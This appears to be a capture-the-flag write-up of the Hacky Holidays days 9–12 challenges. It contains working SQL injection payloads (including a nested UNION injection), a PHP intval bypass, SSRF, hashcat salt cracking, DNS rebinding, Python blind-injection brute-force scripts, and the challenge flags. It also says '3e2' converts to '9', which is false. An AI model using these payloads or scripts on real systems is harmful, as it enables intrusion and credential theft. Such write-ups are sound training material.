bla' UNION SELECT 1,2,3,4 from admin WHERE username LIKE '%
{F1139701}
Apparently, only one user exists in the admin table. What could the username possibly be..? Well, how about admin:
bla' UNION SELECT 1,2,3,4 from admin WHERE username = 'admin
{F1139699}
Yup, the one user in the 'admin' table's username is 'admin'. Now we just have to figure out what the user's password is. How hard can that be? Well, turns out it's actually a bit difficult. Since we're 1337 hackers and don't want to spend the rest of the night manually brute-forcing the password, we use our non-existing python skills to write a script that can do the job for us. The main idea of the script is to use the LIKE operator to brute-force the password one character at a time, with payloads in the following format:
bla' UNION SELECT 1,2,3,password FROM admin WHERE password LIKE BINARY('passwo%') OR 1='2
We're using the BINARY function to make the query case-sensitive. Let's run our script go wrap some Christmas presents while we wait.
py day_9.py -c "mysessioncookie"
PASSWORD: S
PASSWORD: S3
PASSWORD: S3c
PASSWORD: S3cr
PASSWORD: S3cre
PASSWORD: S3creT
PASSWORD: S3creT_
PASSWORD: S3creT_p
PASSWORD: S3creT_p4
PASSWORD: S3creT_p4s
PASSWORD: S3creT_p4ss
PASSWORD: S3creT_p4ssw
PASSWORD: S3creT_p4ssw0
PASSWORD: S3creT_p4ssw0r
PASSWORD: S3creT_p4ssw0rd
PASSWORD: S3creT_p4ssw0rd-
PASSWORD: S3creT_p4ssw0rd-$
Couldn't find more chars. Final found is: S3creT_p4ssw0rd-$
Yay, our script is done and has extracted the password, 'S3creT_p4ssw0rd-$', from the database! We can now login with the credentials:
{F1139700}
[Insert your favorite triumph interjection]! We solved the challenge and got the 9th flag! Time to go to bed.
flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
Day 10
Tody the Grinch is recruiting for his army in the challenge 'Signup Manager'. Let's dive in and find the flag!
{F1139708}
The challenge allows us to sign up for recruitment. Let's try that with some random info:
{F1139710}
Hmm, that wasn't super interesting. Let's take a look at the source of the page:
{F1139709}
'README.md'! That sounds interesting! Let's try to navigate to /README.md. By doing so, we get the following file:
# SignUp Manager
SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.
### How to Install
1) Create a directory that you wish SignUp Manager to be installed into
2) Move signupmanager.zip into the new directory and unzip it.
3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file
5) Edit the user and admin php files to display your hidden content
6) You can make anyone an admin by changing the last character in the users.txt file to a Y
7) Default login is admin / password
The file mentions the zip folder 'signupmanager.zip', let's check if we're lucky enough that the zip file can be downloaded from the website.
{F1139711}
We where! And the zip file contains the source code of the recruiter page as seen above! Time to dive into the source code. The file index.php is definitely the most interesting one.
When signing up, all the info provided is concatenated to a string and stored in the 'users.txt' file. The 113th character determines whether or not a given user is an admin. If the 113 character is 'Y', the user is an admin or else not. The check to determine this is done in the following line from 'index.php':
'admin' => ((substr($user_str, 112, 1) === 'Y') ? true : false)
Our goal appears to simply be to have the 113th char set to Y, so we become admins. Can't we just do something like provide a really long name ending with a 'Y' then? Well it isn't that simple sadly since the length of each input we give is controlled:
- The username, first name, and last name is cut off to max 15 chars, eg.:
$username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
- The password is MD5 hashed, making it fixed at 32 chars
$password = md5($_POST["password"]);
- The length of the age must be 3 chars or less
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';
}
So where is the weak link? Noticing the following line made my eyes widen:
$age = intval($_POST["age"]);
This line comes after the initial length check. PHP has some interesting behavior when converting strings to Integers using intval. Scientific notation is eg. allowed, meaning that something like '3e2' will be converted to '9'. This is super interesting for us in this case since we can provide something as '9e9' which has a length of 3 chars, but will become some big number after being converted with intval: '9000000000'. A number that is longer than 3 chars.
Let's take a look at how the input is concatenated:
function addUser($username,$password,$age,$firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line = '';
$line .= str_pad( $username,15,"#");
$line .= $password;
$line .= $random_hash;
$line .= str_pad( $age,3,"#");
$line .= str_pad( $firstname,15,"#");
$line .= str_pad( $lastname,15,"#");
$line .= 'N';
$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;
}
As we can see, the user's last name is the last input in the concatenation meaning this is the input where we need to insert the 'Y' at the end. Normally the 15th char of the user's last name would be the 112th character of the concatenated string, one short of the magic 113th char which toggles whether or not the user is an admin. Let's make an exploit!
The idea is to make the age be 4 chars long after the intval conversion. We can then set the last char of the last name to 'Y' which will now be the 113th char since the length of the user's age has become one char longer than expected. A value such as '9e3' will do the job as the age since it'll become '9000' (4 chars) after conversion with intval. Let's see if our exploit works:
{F1139706}
Let's grab the cookie from the response and reload /signup-manager authenticated as our newly created user:
{F1139707}
I'm-really-running-out-of-new-ways-to-express-excitement! We got the 10th flag!!! Note that we also got a link to /r3c0n_server_4fdk59 which is where we should continue our journey tomorrow.
flag{99309f0f-1752-44a5-af1e-a03e4150757d}
Day 11
Christmas is coming. We're getting close to the crucial day the Grinch is planning his DDoS attack against Santa. Let's start today's challenge to see what we are dealing with:
{F1139830}
In today's challenge, we get informed that an API is currently being developed. Let's head over to /api to see if we find anything:
{F1139712}
We get a nice description of the different responses we can expect from the API, let's try to find some endpoints! Hmm, that doesn't work out well. No matter what great guesses of endpoints we can come up with, we're met with the following error:
{"error":"This endpoint cannot be visited from this IP address"}
Hmm, seems like we should take another path. The challenge also allows us to browse some photo albums on /album:
{F1139714}
Let's try to open up one of the photos in a new tab:
{F1139852}
Hmm, the GET parameter data seems interesting. Let's Base64 decode it:
{
"image":"r3c0n_server_4fdk59\/uploads\/0a382c6177b04386e1a45ceeaa812e4e.jpg",
"auth":"ec5a9920e177ccc84974146f93ae04b0"
}
Looks like the server is kind enough to go fetch a file we've specified in the image parameter as long as we provide it along with a propper auth value. Maybe there's potential for some SSRF vulnerability here? Maybe we could get access to the API by querying it through this feature? Let's note that idea down before we continue.
It seems difficult to figure out how the value of the auth parameter is generated and after some testing, I decided to try to take a different path. Let's go back to the /album page.
The albums seem to be returned based on the value of the GET parameter hash. Let's do some testing on this parameter.
Most values result in a 404, but take a look at this:
{F1139843}
Looks like we just found an SQLi! Let's try to do a UNION attack. This caused me a headache. It didn't seem to work no matter the number of columns I tried to match. But finally, I found a working payload:
a' UNION SELECT 1,2,3-- -
{F1139847}
The problem turned out to be that I couldn't provide a valid hash and do the UNION attack. Instead, I had to provide something invalid such as 'a'. Hmm, that's weird. What could the context of this SQLi be? What does the full SQL query look like?
After exploring the database we can conclude that there doesn't seem to be any interesting information. The only two tables appear to be 'album' and 'photo' which doesn't contain anything interesting.
The weird behavior of the SQLi still puzzles me. Let's see if we can get a better understanding of the SQL query we're injecting our payload into. After some googling, I discovered that the table information_schema.processlist can be queried to get information on the current SQL query being executed. Let's use that to see what the current query looks like:
a'UNION SELECT 1,2,info from information_schema.processlist-- -
{F1139846}
Hmm, that's weird. The original SQL query appears to simply be:
SELECT * FROM album WHERE hash = 'INPUT'
How can such a simple query result in this weird behavior? And how can that query alone return the correct photos? The photos aren't even referenced in the 'album' table. They are only being referenced in the 'photo' table... Wait... Maybe there is more going on here. What if it's actually a dream within a dream within... Whoops, wrong train of thought. Let me try again: What if it's actually a SQL query within a SQL query? Also known as a subquery. Maybe the 'parent' query looks something like this:
SELECT * FROM photo WHERE something = (SELECT * FROM album WHERE hash = 'INPUT')
Maybe we can do an SQLi within an SQli? Let's start by figuring out which of the columns affect the photos being loaded. Let's start by providing some gibberish string as the first:
a'UNION SELECT "hihi",2,3-- -
{F1139845}
Well, the photos are gone. It seems like the value of the first column affects which photos are loaded.
Now let's try to actually do an SQLi within an SQLi:
a'UNION SELECT "' UNION SELECT 1,2,3-- -",2,3-- -
{F1139844}
It looks like a photo is attempted to be displayed. Let's open it up in a new tab:
{F1139850}
Exciting! Let's try and Base64 decode the data parameter for the photo:
{
"image":"r3c0n_server_4fdk59\/uploads\/3",
"auth":"fea7507478aa8225c022527b1763fb33"
}
Yes! Notice the '3'? We successfully got the server to generate a valid auth value based on our input! Let's try to swap the '3' for the value '../api':
a'UNION SELECT "' UNION SELECT 1,2,'../api'-- -",2,3-- -
{F1139851}
'Invalid content type detected' - sounds like we successfully made the server request an existing resource! The API endpoint! Let's check the Base64 decoded data value:
{
"image":"r3c0n_server_4fdk59\/uploads\/..\/api",
"auth":"38122d477657c1a0c9ba873c11017497"
}
Perfect! We've successfully made the server request r3c0n_server_4fdk59/api for us! Let's now create a script to fuzz for valid API endpoints.
py day_11.py -p "api/BRUZZ" -w "common-api-endpoints-mazen160.txt" -f 404
FOUND: ping
FOUND: user
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████| 174/174 [02:30<00:00, 1.16it/s]
Our script found two endpoints! api/ping and api/user. api/ping turned out to be a red herring (thanks Adam...) so I'll spare you the confusion and move on to the second found: api/user. Let's check which response we get for this endpoint:
{F1139848}
Hmm, that's a bit disappointing... Pretty frustrating to know that some response body is returned but we can't view it... After trying to circumvent this problem without succeeding I decided to take a different path. Maybe there's more fuzzing to do? Looking at the list of different response codes we got listed on r3c0n_server_4fdk59/api it seems like we might have more to discover.
{F1139716}
This seems like a pretty interesting feature. Maybe there are some GET parameters to be found on api/user? Let's try providing some random GET parameter as a test:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?bla=hihi'-- -",2,3-- -
{F1139715}
Yup, as expected we got a 400 response. We could now start our fuzzing script up again, but before doing that, we could try and use our 1337 hacking brains to make some qualified guesses.
One thing I haven't mentioned yet is the link to /attack-box this challenge provides us with on the front page. /attack-box appears to be the next challenge, but we're faced with a login form we need to submit to access /attack-box.
With this in mind and having an idea of where this challenge is going and knowing that our API endpoint is called user, something as 'username' and 'password' seems like pretty good guesses. Let's try them:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?username=bla%26password=hihi'-- -",2,3-- -
{F1139713}
Bingo! Seems like we just found two valid GET parameters using our 1337 guessing skills! Now we just need to figure out the correct credentials to provide. But how? It seems safe to assume that we're interfering with the database when providing the credentials. If only there existed some way to provide a wildcard in SQL... Well, what about the '%' char? Let's try that:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?username=%%26password=%'-- -",2,3-- -
{F1139842}
Okay-seriously-can-someone-provide-me-with-a-list-of-exclamations! Seems like the '%' works as a wildcard since we didn't get the 204 response, but instead an 'Invalid content type detected' meaning some data was attempted to be returned. Time to modify our script a bit and fire it up in brute-force mode:
py day_11.py -u "api/user?username=BRUZZ%" -b -f 204
NEW CHAR FOUND: g
NEW CHAR FOUND: gr
NEW CHAR FOUND: gri
NEW CHAR FOUND: grin
NEW CHAR FOUND: grinc
NEW CHAR FOUND: grinch
NEW CHAR FOUND: grincha
NEW CHAR FOUND: grinchad
NEW CHAR FOUND: grinchadm
NEW CHAR FOUND: grinchadmi
NEW CHAR FOUND: grinchadmin
Couldn't find more chars. Final found is: grinchadmin
Cool, we successfully brute-forced the username: 'grinchadmin'. Time for the password:
py day_11.py -u "api/user?password=BRUZZ%" -b -f 204
NEW CHAR FOUND: s
NEW CHAR FOUND: s4
NEW CHAR FOUND: s4n
NEW CHAR FOUND: s4nt
NEW CHAR FOUND: s4nt4
NEW CHAR FOUND: s4nt4s
NEW CHAR FOUND: s4nt4su
NEW CHAR FOUND: s4nt4suc
NEW CHAR FOUND: s4nt4suck
NEW CHAR FOUND: s4nt4sucks
Couldn't find more chars. Final found is: s4nt4sucks
Evax(Latin, duh)! We also got the password now! (Thanks so much for not doing some case-sensitive stuff Adam)
Let's try our credentials on /attack-box/login:
{F1139849}
FINALLY! That was a tough challenge, but we did it! We finally got the 11th flag and access to /attack-box let's try to sleep a few hours before the night is over and come back tomorrow.
flag{07a03135-9778-4dee-a83c-7ec330728e72}
Day 12
Chestnuts roasting on an open fire, the Grinch is DDoSing Santa Clause ♫
Wait, what? We better get to work to save Christmas! Navigating to /attack-box we see that the page has been updated:
{F1139836}
It looks like the Grinch has launched a DDoS attack against Santa's severs! Just as the hidden event from day 6 said. Clicking one of the 'attack' buttons, we see the following screen:
{F1139837}
Right before ending at the screen, we see a request was made to /attack-box/launch?payload=eyJ0YXJnZXQiOiIyMDMuMC4xMTMuMzMiLCJoYXNoIjoiNWYyOTQwZDY1Y2E0MTQwY2MxOGQwODc4YmMzOTg5NTUifQ==. Let's try to Base64 decode the payload parameter:
{
"target":"203.0.113.33",
"hash":"5f2940d65ca4140cc18d0878bc398955"
}
Hmm, looks like this request is used to launch a DDoS attack against the target specified in the target parameter. Maybe we could trick the server into launching a DDoS attack against itself? Let's note that idea down and continue.
Sadly, we can't just modify the target parameter without providing a matching hash. Trying to do so gives us the following error:
Invalid Protection Hash
After browsing around the challenge I decided to go full beast mode and see if we could crack the hash. It looks like it's an MD5 hash. Maybe a salt is used with the target value to generate the hash? Let's use rockyou.txt with hashcat to see if that's the case. Let's start by testing for salt.pass:
hashcat.exe -m 20 "5f2940d65ca4140cc18d0878bc398955:203.0.113.33" rockyou.txt --show
5f2940d65ca4140cc18d0878bc398955:203.0.113.33:mrgrinch463
Wow! It actually worked! We got the salt: 'mrgrinch463'. Now let's just create our own Base64 encoded payload to launch an attack against 127.0.0.1 to end Grinch Netork once and for all:
md5(mrgrinch463127.0.0.1) -> 3e3f8df1658372edf0214e202acb460b
{
"target":"127.0.0.1",
"hash":"3e3f8df1658372edf0214e202acb460b"
}
{F1139835}
Ehhh... So that didn't work. The sneaky Grinch has set up some protection to avoid an attack against a local target. Dammit. After trying some different bypass techniques I was about to give up on Christmas this year, but then a final idea popped up. What about DNS rebinding? Could we maybe set up a host that first resolves to one of the Santa target servers and then to '127.0.0.1'? The idea is that when the check is made to make sure the target isn't local, our host resolves to a Santa target which will pass the check. When the attack is then launched, our host resolves to '127.0.0.1' instead, resulting in an attack against the Grinch Networks! Let's try this! We can use this online tool: https://lock.cmpxchg8b.com/rebinder.html to generate a hostname for the purpose (shout-out to @rekter0 for showing me this tool)
{F1139838}
It looks promising.
{F1139839}
Wuhuu! We did it! We solved the 12 and last challenge, took down the Grinch Network, and saved Christmas! Thanks for following along! You can relax and enjoy the holidays now well assured that the Grinch won't spoil it.
flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}
Scripts
Day 9:
import argparse
import requests
import warnings
warnings.filterwarnings("ignore")
parser = argparse.ArgumentParser()
parser.add_argument("-c", "--cookie", help="provide a session cookie for a session where you've already completed the quiz", required=True)
args = parser.parse_args()
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789%_;#$£}{[]&.,!=+@()?-~*'<>"
url = 'https://hackyholidays.h1ctf.com/evil-quiz'
cookies = {'session': args.cookie}
password = ""
def brute():
global password
found_char = True
while found_char:
found_char = False
for c in charset:
if c in "%_": #Escaping MySQL wildcards
c = "\\"+c
body = {"name": "bla' UNION SELECT 1,2,3,password FROM admin WHERE password LIKE BINARY('"+password+c+"%') OR 1='2"}
response_1 = requests.post(url, data = body, cookies=cookies, verify=False)
if response_1.status_code == 200:
response_2 = requests.get(url+"/score", cookies=cookies, verify=False)
if "There is 0 other player(s) with the same name as you!" not in response_2.text:
password+=c[-1] #Only take last char to avoid problems with escaped wildcards
print("PASSWORD: "+password)
break
else:
print("Ehh, something went wrong. Got this status code: "+response_1.status_code)
return
print("Couldn't find more chars. Final found is: "+password)
brute()
#Password: S3creT_p4ssw0rd-$
Day 11:
import sys
import requests
import warnings
import argparse
from tqdm import tqdm
warnings.filterwarnings("ignore")
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="provide a URL to request on /r3c0n_server_4fdk597/URL. Use 'BRUZZ' as the keyword", required=True)
parser.add_argument("-w", "--wordlist", help="provide the path of the wordlist to use")
parser.add_argument("-f", "--filter", help="provide a value to filter out responses based on. The value will be looked for in the response body", required=True)
parser.add_argument("-b", "--bruteforce", help="bruteforce mode", action="store_true")
args = parser.parse_args()
base_url = 'https://hackyholidays.h1ctf.com'
url = args.url
wordlist = args.wordlist
response_filter = args.filter
def fuzz(lines):
for w in tqdm(lines):
fuzz_payload = url.replace("BRUZZ", w.rstrip())
url1 = base_url+"/r3c0n_server_4fdk59/album?hash=a'UNION SELECT \"' UNION SELECT 1,2,'../"+fuzz_payload+"\",2,3-- -"
response_1 = requests.get(url1, verify=False)
url2 = base_url+response_1.text[response_1.text.find("/r3c0n_server_4fdk59/picture?data="):].split("\"")[0]
response_2 = requests.get(url2, verify=False)
if response_filter not in response_2.text:
tqdm.write("FOUND: "+w.rstrip())
def brute(charset):
found_chars = ""
found_char = True
while found_char:
found_char = False
for c in charset:
brute_payload = url.replace("BRUZZ", found_chars+c)
url1 = base_url+"/r3c0n_server_4fdk59/album?hash=a'UNION SELECT \"' UNION SELECT 1,2,'../"+brute_payload+"\",2,3-- -"
response_1 = requests.get(url1, verify=False)
url2 = base_url+response_1.text[response_1.text.find("/r3c0n_server_4fdk59/picture?data="):].split("\"")[0]
response_2 = requests.get(url2, verify=False)
if response_filter not in response_2.text:
found_char = True
found_chars += c
print("NEW CHAR FOUND: "+found_chars)
break
print("Couldn't find more chars. Final found is: "+found_chars)
if args.bruteforce is not None:
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
brute(charset)
elif args.wordlist is not None:
try:
file1 = open(wordlist, 'r')
lines = file1.readlines()
except:
print("Couldn't find wordlist: "+wordlist)
quit()
fuzz(lines)
else:
print("You must either specify a wordlist (-w) or user bruteforce mode (-b)")
quit()
How it was found
Summary:
Since there is a reward for the first 10 submissions, I'll start by providing the flags:
flag{48104912-28b0-494a-9995-a203d1e261e7}
flag{b7ebcb75-9100-4f91-8454-cfb9574459f7}
flag{b705fb11-fb55-442f-847f-0931be82ed9a}
flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}
flag{2e6f9bf8-fdbd-483b-8c18-bdf371b2b004}
flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
flag{99309f0f-1752-44a5-af1e-a03e4150757d}
flag{07a03135-9778-4dee-a83c-7ec330728e72}
flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}
Impact
Thanks for the fun challenges and hacky hollidays! holme